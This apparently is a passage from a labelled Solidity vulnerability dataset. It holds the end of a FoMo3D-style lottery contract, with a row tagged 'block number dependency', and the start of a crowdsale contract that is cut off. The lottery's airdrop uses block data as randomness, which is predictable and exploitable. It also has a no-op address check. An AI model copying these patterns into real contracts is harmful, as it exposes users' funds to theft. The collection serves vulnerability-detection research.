(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function buyCoreQR(address _realSender,uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { coreQR(_realSender,_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( _realSender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 400000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 4000000000000000000) { uint256 _availableLimit = (4000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function coreQR(address _realSender,uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 400000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 4000000000000000000) { uint256 _availableLimit = (4000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTxQR(_realSender,_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function determinePIDQR(address _realSender, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[_realSender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(_realSender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[_realSender] = _pID; plyr_[_pID].addr = _realSender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { admin.transfer(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } function endTxQR(address _realSender,uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, _realSender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }",./Dataset/block number dependency (BN),0,0 0x04F3562690C87BE6204DBc6D84a57399a8693BA5_MintedTokenCappedCrowdsaleExt.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin pragma solidity ^0.4.8; /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Interface for defining crowdsale pricing. */ contract PricingStrategy { address public tier; /** Interface declaration. */ function isPricingStrategy() public constant returns (bool) { return true; } /** Self check if all references are correctly set. * * Checks that pricing strategy matches crowdsale parameters. */ function isSane(address crowdsale) public constant returns (bool) { return true; } /** * @dev Pricing tells if this is a presale purchase or not. @param purchaser Address of the purchaser @return False by default, true if a presale purchaser */ function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } /* How many weis one token costs */ function updateRate(uint newOneTokenInWei) public; /** * When somebody tries to buy tokens for X eth, calculate how many tokens they get. * * * @param value - What is the value of the transaction send in as wei * @param tokensSold - how much tokens have been sold this far * @param weiRaised - how much money has been raised this far in the main token sale - this number excludes presale * @param msgSender - who is the investor of this transaction * @param decimals - how many decimal units the token has * @return Amount of tokens the investor receives */ function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Finalize agent defines what happens at the end of succeseful crowdsale. * * - Allocate tokens for founders, bounties and community * - Make tokens transferable * - etc. */ contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } /** Return true if we can run finalizeCrowdsale() properly. * * This is a safety check function that doesn't allow crowdsale to begin * unless the finalizer has been set up properly. */ function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); /** Called once by crowdsale finalize() if the sale was success. */ function finalizeCrowdsale(); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * A token that defines fractional units as decimals. */ contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } /** * Abstract base contract for token sales. * * Handle * - start and end dates * - accepting investments * - minimum funding goal and refund * - various statistics during the crowdfund * - different pricing strategies * - different investment policies (require server side customer id, allow only whitelisted addresses) * */ contract CrowdsaleExt is Haltable { /* Max investment count when we are still allowed to change the multisig address */ uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; /* The token we are selling */ FractionalERC20Ext public token; /* How we are going to price our offering */ PricingStrategy public pricingStrategy; /* Post-success callback */ FinalizeAgent public finalizeAgent; /* name of the crowdsale tier */ string public name; /* tokens will be transfered from this address */ address public multisigWallet; /* if the funding goal is not reached, investors may withdraw their funds */ uint public minimumFundingGoal; /* the UNIX timestamp start date of the crowdsale */ uint public startsAt; /* the UNIX timestamp end date of the crowdsale */ uint public endsAt; /* the number of tokens already sold through this contract*/ uint public tokensSold = 0; /* How many wei of funding we have raised */ uint public weiRaised = 0; /* How many distinct addresses have invested */ uint public investorCount = 0; /* Has this crowdsale been finalized */ bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; /** How much ETH each address has invested to this crowdsale */ mapping (address => uint256) public investedAmountOf; /** How much tokens this crowdsale has credited for each investor address */ mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } //is crowdsale updatable bool public isUpdatable; /** Addresses that are allowed to invest even before ICO offical opens. For testing, for ICO partners, etc. */ mapping (address => WhiteListData) public earlyParticipantWhitelist; /** List of whitelisted addresses */ address[] public whitelistedParticipants; /** This is for manul testing for the interaction from owner wallet. You can set it to any value and inspect this in blockchain explorer to see that crowdsale interaction works. */ uint public ownerTestValue; /** State machine * * - Preparing: All contract initialization calls and variables have not been set yet * - Prefunding: We have not passed start time yet * - Funding: Active crowdsale * - Success: Minimum funding goal reached * - Failure: Minimum funding goal not reached before ending time * - Finalized: The finalized has been called and succesfully executed */ enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} // A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); // Address early participation whitelist status changed event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); // Crowdsale start time has been changed event StartsAtChanged(uint newStartsAt); // Crowdsale end time has been changed event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; // Don't mess the dates if(startsAt >= endsAt) { throw; } // Minimum funding goal can be zero minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } /** * Don't expect to just send in money and get tokens. */ function() payable { throw; } /** * Make an investment. * * Crowdsale must be running for one to invest. * We must have not pressed the emergency brake. * * @param receiver The Ethereum address who receives the tokens * @param customerId (optional) UUID v4 to track the successful payments on the server side * */ function investInternal(address receiver, uint128 customerId) stopInEmergency private { // Determine if it's a good time to accept investment from this participant if(getState() == State.PreFunding) { // Are we whitelisted for early deposit throw; } else if(getState() == State.Funding) { // Retail participants can only come in when the crowdsale is running // pass if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { // Unwanted state throw; } uint weiAmount = msg.value; // Account presale sales separately, so that they do not count against pricing tranches uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { // Dust transaction throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { // tokenAmount < minCap for investor throw; } // Check that we did not bust the investor's cap if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 